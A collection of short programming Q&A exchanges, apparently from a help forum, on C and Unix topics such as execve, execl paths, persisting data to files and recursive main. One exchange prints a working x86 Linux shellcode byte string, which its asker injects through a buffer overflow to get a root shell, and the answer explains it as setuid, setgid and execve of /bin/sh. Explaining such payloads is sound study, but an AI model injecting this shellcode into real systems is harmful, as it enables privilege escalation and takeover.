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Let's say that at some point in my program I am using execv and the function ran successfully. Now my program has changed. What happened to it exactly? (Is all the memory get wiped automatically?)
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
That is to say, all data of current process will be gone, and the new program is loaded into memory, replacing the original process.
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I am doing a project on railway reservation system, my program is working fine, but when I close the program and then again start booking tickets,seat no again takes the previous value, I'm doing the project in c.
You'll need to write all of the data to a file before the program closes, and then read the data from the file when the program starts again.
That's right.
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I just had a question that whenever I write code I had to call all functions (predefined or user defined) in order to use or execute them. So why we don't have to call main function?
The main function is defined by the language itself as the designated start of the program. You don't need to call it because, in effect, your operating system (Linux, macOS, Windows, etc.) does.
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I am calling a shellcode using buffer overflow to spawn a root shell. Can somebody explain what this shellcode exactly does? I have tried different shellcodes to spawn a root shell, but this was the only one which worked for me.
\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd
\x80
On first glance, the code appears to do setuid(0), then setgid(0), then call sys_execve() on some values (which include ASCII codes for "/bin//sh").
Looks like this is pure "payload" code, since I don't see anything to ensure the code is executed on the first place (buffer overflow, stack smashing, etc.).
(Thanks to #Hans Lub for the disassembler link)
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I am not sure how will this program behave?
I ran this code but I am not able to figure out any reasoning behind the way it works
int main()
{
return main();
}
main() is a function by itself. The line return main() calls the function again. So in effect it should run an infinite loop. You wouldn't get any output (you said you ran it. didn't it crash?).
In reality it would be like staring into a mirror with another mirror placed behind you. You would only see endless reflections. . :)
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The first parameter of execl is the path of the executable file, my question is that what if there is a space in the path?
My program fails when space exists.
what if there is a space in the path?
It does not matter, as the exec*() functions do not involve a shell or any kind of command interpreter which might choke on the space, or any other special character.
My program fails when space exists.
Does exec() return? Which value do you find in errno or what does perror() print?
exec(....); /* exec*() function do ot return is successful. */
perror("exec() failed);